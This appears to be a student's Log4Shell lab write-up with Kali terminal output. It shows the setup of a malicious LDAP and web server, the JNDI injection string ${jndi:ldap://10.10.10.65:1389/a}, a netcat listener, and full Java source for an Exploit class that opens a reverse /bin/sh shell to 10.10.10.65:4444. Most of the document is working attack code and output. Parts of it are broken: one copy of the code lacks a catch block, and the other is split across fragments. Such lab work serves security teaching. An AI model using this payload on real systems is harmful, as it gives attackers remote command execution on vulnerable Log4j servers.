

1. Extract the “jdk-8u202-linux-x64.tar.gz” from log4j assignment file I unzipped

```
kali@kali: ~/Desktop/Log4J-Assignment
File Actions Edit View Help
kali@kali: ~ x kali@kali: ~/Desktop/Log4J-Assignment x
[jdk1.8.0_202/jre/lib/amd64/libinstrument.so
 jdk1.8.0_202/jre/lib/amd64/libawt_xawt.so
 jdk1.8.0_202/jre/lib/amd64/libmanagement.so
 jdk1.8.0_202/jre/lib/amd64/libunpack.so
 jdk1.8.0_202/jre/lib/amd64/libgstreamer-lite.so
 jdk1.8.0_202/jre/lib/amd64/libawt_headless.so
 jdk1.8.0_202/jre/lib/amd64/libsplashscreen.so
 jdk1.8.0_202/jre/lib/fontconfig.properties.src
 jdk1.8.0_202/jre/lib/psfont.properties.ja
 jdk1.8.0_202/jre/lib/fontconfig.Turbo.properties.src
 jdk1.8.0_202/jre/lib/jce.jar
 jdk1.8.0_202/jre/lib/flavormap.properties
 jdk1.8.0_202/jre/lib/jfxswt.jar
 jdk1.8.0_202/jre/lib/fontconfig.SuSE.10.properties.src
 jdk1.8.0_202/jre/lib/fontconfig.SuSE.11.bfc
 jdk1.8.0_202/jre/COPYRIGHT
 jdk1.8.0_202/jre/THIRDPARTYLICENSEREADME-JAVAFX.txt
 jdk1.8.0_202/jre/Welcome.html
 jdk1.8.0_202/jre/README
 jdk1.8.0_202/README.html
]
(kali㉿kali)-[~/Desktop/Log4J-Assignment]
$
```

2. I ran python log4jdriver.py 10.10.10.65 address (your Kali IP on the infrastructure). This will launch an LDAP server and web server that hosts the exploit payload. URL = \${jndi:ldap://10.10.10.65:1389/a} which is the username

```
(kali㉿kali)-[~/Desktop/Log4J-Assignment]
$ python3 log4jdriver.py 10.10.10.65
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.10.65:1389/a}

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
10.10.10.65
```

```
kali@kali: ~ x kali@kali: ~/Desktop/Log4J-Assignment x kali@kali: ~ x
(kali㉿kali)-[~]
$ nc -lvpn 4444
listening on [any] 4444 ...
connect to [10.10.10.65] from (UNKNOWN) [10.10.10.65] 60002
```

3. This is my Exploit.java. The constructor of the class Exploit

Open Save

Exploit.java  
~/Desktop/Log4J-Assignment/jdk1.8.0\_202/bin

```
1 import java.io.*;
2 import java.net.*;
3
4 public class Exploit {
5     public Exploit() {
6         try {
7             // Attacker's IP address and port
8             String host = "10.10.10.65";
9             int port = 4444;
10
11             // Establish a reverse shell connection
12             Socket socket = new Socket(host, port);
13             Process process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
14             InputStream in = process.getInputStream();
15             OutputStream out = process.getOutputStream();
16
17             // Create threads to read from and write to the socket
18             Thread socketToInput = new Thread(() -> {
19                 try {
20                     InputStream socketIn = socket.getInputStream();
21                     OutputStream processOut = process.getOutputStream();
22                     byte[] buffer = new byte[1024];
23                     int bytesRead;
24                     while ((bytesRead = socketIn.read(buffer)) != -1) {
25                         processOut.write(buffer, 0, bytesRead);
26                     }
27                 } catch (IOException e) {
28                     e.printStackTrace();
29                 }
30             });
31             socketToInput.start();
32
33             Thread inputToSocket = new Thread(() -> {
34                 try {
35                     OutputStream socketOut = socket.getOutputStream();
36                     byte[] buffer = new byte[1024];
37                     int bytesRead;
38                     // Read from process input stream and write to socket output stream
39                     while ((bytesRead = process.getInputStream().read(buffer)) != -1) {
40                         socketOut.write(buffer, 0, bytesRead);
41                     }
42                 } catch (IOException e) {
43                     e.printStackTrace();
44                 }
45             });
46             inputToSocket.start();
47         }
48     }
49 }
```

Java Tab Width: 8 Ln 1, Col 1

4.

```
(kali㉿kali)-[~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin]
$ ~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin/javac Exploit.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

(kali㉿kali)-[~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin]
$ 
```

```

237. Suspended  gedit Exploit.java
32                                         Thread input
[~(kali㉿kali)-[~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin]]$ ~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin/javac Exploit.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
36                                         try {
[~(kali㉿kali)-[~/Desktop/Log4J-Assignment/jdk1.8.0_202/bin]]$ java Exploit
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

```

5. I then executed my reverse shell and established connection.

## Exploit.Java

```

import java.io.*;
import java.net.*;

public class Exploit {
    public Exploit() {
        try {
            // Attacker's IP address and port
            String host = "10.10.10.65";
            int port = 4444;

            // Establish a reverse shell connection
            Socket socket = new Socket(host, port);
            Process process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
            InputStream in = process.getInputStream();
            OutputStream out = process.getOutputStream();

            // Create threads to read from and write to the socket
            Thread socketToInput = new Thread(() -> {
                try {
                    InputStream socketIn = socket.getInputStream();
                    OutputStream processOut = process.getOutputStream();
                    byte[] buffer = new byte[1024];
                    int bytesRead;
                    while ((bytesRead = socketIn.read(buffer)) != -1) {
                        processOut.write(buffer, 0, bytesRead);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
            });
            socketToInput.start();

            Thread inputToSocket = new Thread(() -> {
                try {
                    OutputStream socketOut = socket.getOutputStream();
                    byte[] buffer = new byte[1024];
                    int bytesRead;
                    while ((bytesRead = in.read(buffer)) != -1) {
                        socketOut.write(buffer, 0, bytesRead);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
            });
        }
    }
}

```

```
    inputToSocket.start();

    // Wait for the threads to finish
    socketToInput.join();
    inputToSocket.join();

    // Close the socket and process
    socket.close();
    process.destroy();
} catch (Exception e) {
    e.printStackTrace();
}
}

public static void main(String[] args) {
    new Exploit();
}
}
```